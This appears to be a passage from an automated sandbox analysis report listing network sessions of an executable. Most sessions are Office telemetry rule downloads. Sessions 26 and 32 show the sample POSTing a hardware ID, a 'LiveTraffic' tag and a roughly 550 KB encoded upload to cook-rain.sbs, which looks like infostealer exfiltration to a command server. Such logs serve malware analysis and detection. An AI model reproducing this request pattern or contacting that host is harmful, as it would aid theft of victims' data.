2024-11-20 16:41:33 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.7	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:33 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164133Z-185f5d8b95c5lcmhhC1NYCsnsw0000000ahg00000000m9c7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:33 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.7	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:33 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:33 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:33 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164133Z-185f5d8b95c9mqtvhC1NYCghtc0000000am000000000bryz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:33 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49730	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:34 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MQNTZN1GGB8SA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1221 Host: cook-rain.sbs
2024-11-20 16:41:34 UTC	1221	OUT	Data Raw: 2d 2d 4d 51 4e 54 5a 4e 31 47 47 42 38 53 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 32 32 38 38 35 46 32 31 41 36 46 31 30 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4d 51 4e 54 5a 4e 31 47 47 42 38 53 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 51 4e 54 5a 4e 31 47 47 42 38 53 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4d 51 4e 54 5a Data Ascii: --MQNTZN1GGB8SAContent-Disposition: form-data; name="hwid"F5D22885F21A6F1063CFCF7E6C45F838--MQNTZN1GGB8SAContent-Disposition: form-data; name="pid"1--MQNTZN1GGB8SAContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--MQNTZ
2024-11-20 16:41:34 UTC	981	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8ooigl1li0l70h63ri1sog2git; expires=Sun, 16-Mar-2025 10:28:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=TyepNiphz%2FIqY0Yr16YBKq6pcN3gLcyM44SSnJqXlOQS4psrY5TZgIM7Cbs8444zdbINwhUObmdlF5dLGzwrHNZz7gthDEoi%2FxT%2FMPJP2pPzPjKgcWptAjEFs1dzv556"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e59e3658fc00fa5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1656&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2130&delivery_rate=1659090&cwnd=189&unsent_bytes=0&cid=cdc8062e7a51c041&ts=782&x=0"
2024-11-20 16:41:34 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-20 16:41:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.7	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:35 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:35 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: a1cde93a-f01e-0020-638c-3a956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164135Z-185f5d8b95cdcwrthC1NYCy5b80000000agg00000000925m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:35 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.7	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:35 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:35 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: 0f1ce2f4-701e-0001-5e8c-3ab110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164135Z-185f5d8b95c4hl5whC1NYCeex00000000abg00000000sknc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:35 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49733	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:35 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:35 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 107b228c-c01e-00a2-1f8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164135Z-1777c6cb7544nvmshC1TEBf7qc00000009h000000000yc0h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:35 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:35 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 70a27cfc-201e-0051-268c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164135Z-185f5d8b95cdh56ghC1NYCk1x400000004cg00000000739w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49735	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:35 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 16:41:35 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 16:41:35 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 70a27cfa-201e-0051-248c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T164135Z-r1d97b99577ndm4rhC1TEBf0ps00000009a000000000497c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 16:41:35 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.7	49737	104.21.66.38	443	7476	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:41:36 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N9NKF5AK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550115 Host: cook-rain.sbs
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: 2d 2d 4e 39 4e 4b 46 35 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 44 32 32 38 38 35 46 32 31 41 36 46 31 30 36 33 43 46 43 46 37 45 36 43 34 35 46 38 33 38 0d 0a 2d 2d 4e 39 4e 4b 46 35 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 39 4e 4b 46 35 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4e 39 4e 4b 46 35 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --N9NKF5AKContent-Disposition: form-data; name="hwid"F5D22885F21A6F1063CFCF7E6C45F838--N9NKF5AKContent-Disposition: form-data; name="pid"1--N9NKF5AKContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--N9NKF5AKContent-Di
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: 88 d3 f4 b9 77 5a a7 a1 89 5b 73 09 05 40 9e 0f 94 39 cc 41 cb 61 a5 e7 0e 60 5e a5 9b 3a 00 9c 38 4d b3 24 2e 2f f6 87 1c c6 1b dc aa d1 9e 84 c8 0c a9 2f 7a e6 a8 d0 e5 eb dd b7 b4 45 3b 42 89 11 e1 52 50 71 2c 05 a5 db 8c 1b 77 30 6f cb 20 e7 c9 81 eb 2b 66 d2 e1 07 34 f9 1a ae 05 f0 b0 c8 31 43 77 85 06 43 cb bb 51 55 e6 03 66 e9 15 96 f8 e6 31 19 43 e9 d5 7f d1 c4 d4 10 bd cd b2 fd 7b 25 ff 2e db 42 fe b6 b1 a9 ae 8b d4 48 f7 18 9e 1d b8 bb ca 69 28 4a e5 eb 2c e2 d2 c8 f5 ad c8 65 87 0d e5 01 a1 f9 e3 6e 33 07 c0 25 a3 b4 88 b0 a4 49 f1 e7 02 99 8b f1 ca 7a 72 1a 9c 26 0d aa ee ec 91 0e e3 c3 0e 5c 97 82 86 01 a6 d8 b8 bb 12 39 ff 5f 59 8c 5f 7c 7d d8 ce 51 37 95 16 8d 83 ce 06 2f 5a 50 1f f5 0f c9 f0 9c 1f 51 d1 8f 6f 08 50 6b 35 e1 a3 e4 c5 66 2e Data Ascii: wZ[s@9Aa`^:8M$.//zE;BRPq,w0o +f41CwCQUf1C{%.BHi(J,en3%Izr&\9_Y_\|}Q7/ZPQoPk5f.
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: b9 ef 1c 9e 5d 3c 00 02 8a 73 fc aa 57 2d 83 ac b7 eb d5 35 6e 77 ed 41 f4 05 0f 57 14 3c f9 5c 1f 76 15 f5 f2 91 0d df af 95 be 16 3e fe 59 af d7 64 d9 c8 bd a7 b2 5d 19 e3 3d 7b 7c 8f 98 27 87 48 09 bc 56 92 50 7a c8 e3 d4 9f db 42 e8 98 ec 34 30 5f 62 20 6a 19 bd 76 f2 d5 d7 6a 9d 65 93 e4 50 35 b3 34 97 1d 7b 8f 44 eb 91 2c 43 38 fa 64 32 36 0d 6f 1c a9 30 af 56 fe d0 3d 0a 08 39 95 a7 a6 09 b1 4a 85 7e 56 7b 6c 47 68 32 d1 93 f7 34 42 a9 4f e0 1e 3b 21 e9 d5 9f 9f 5f d6 f2 72 cc 65 be 7b ab 3e 83 c5 ef d9 af 02 a1 17 82 49 e2 39 0d 72 c5 5a 32 f9 5d fe 6d ec d0 3c 71 a3 01 05 25 0c 15 89 d9 81 21 1a 0b cd 4f 09 ee fe 98 ae 40 3c 6f 2d 76 df f1 b8 ea 24 df b5 49 da 8b fd af ae cf a7 7a 62 fb 7a 83 a3 f0 c7 fb 88 32 bb 6a e8 d8 19 cb 1a e7 35 92 2d 79 Data Ascii: ]<sW-5nwAW<\v>Yd]={\|'HVPzB40_b jvjeP54{D,C8d26o0V=9J~V{lGh24BO;!_re{>I9rZ2]m<q%!O@<o-v$Izbz2j5-y
2024-11-20 16:41:36 UTC	15331	OUT	Data Raw: f0 05 fe a8 e2 5e 41 fb fc 5d c9 1e 8f 44 21 56 5a cb cf 90 1f 1a 9f df 38 85 7c 43 7f d9 73 91 07 de 5f 04 ba d0 b0 37 eb 6b 0a 1c 5d 2e 00 31 ff c9 38 0c b4 c7 4a ea d1 0d ca e0 85 a8 95 6b d5 e9 71 c5 79 2d 40 7b 1f 54 60 cc f8 80 12 36 0d 9b c4 5c 1a 4d 02 89 1a a8 90 04 5b b9 8e c0 d1 ac eb 4d a7 4f 54 bf 1f 5f 38 ee 2c d0 a5 3d 5c 7a ab bb 9a 34 f7 5b 86 ae 78 59 b9 ea 56 de 32 d7 45 d0 28 2c 01 0b bb 0a 9a 18 35 b0 bd 09 df 00 a9 33 63 c0 64 0c fb 47 4e 5f ab 9d f2 ac a0 94 ff f3 6d d7 df 8c cf 4a 9c 7b 8f a9 72 df c5 e2 94 c7 79 de 4c b7 1a 53 28 c6 da 58 88 eb e9 13 53 8a 9a fe cc 2a 69 71 9b d1 bd 77 cc 45 03 15 7c 4a ca bc 5e d1 0d 88 a0 c6 2e 93 1e e8 84 cb fc f9 58 90 90 98 f0 de a9 2c 30 43 3e 28 c0 10 97 78 8a 81 a1 3b 1f cd d8 b7 66 a5 e5 Data Ascii: ^A]D!VZ8\|Cs_7k].18Jkqy-@{T`6\M[MOT_8,=\z4[xYV2E(,53cdGN_mJ{ryLS(XS*iqwE\|J^.X,0C>(x;f
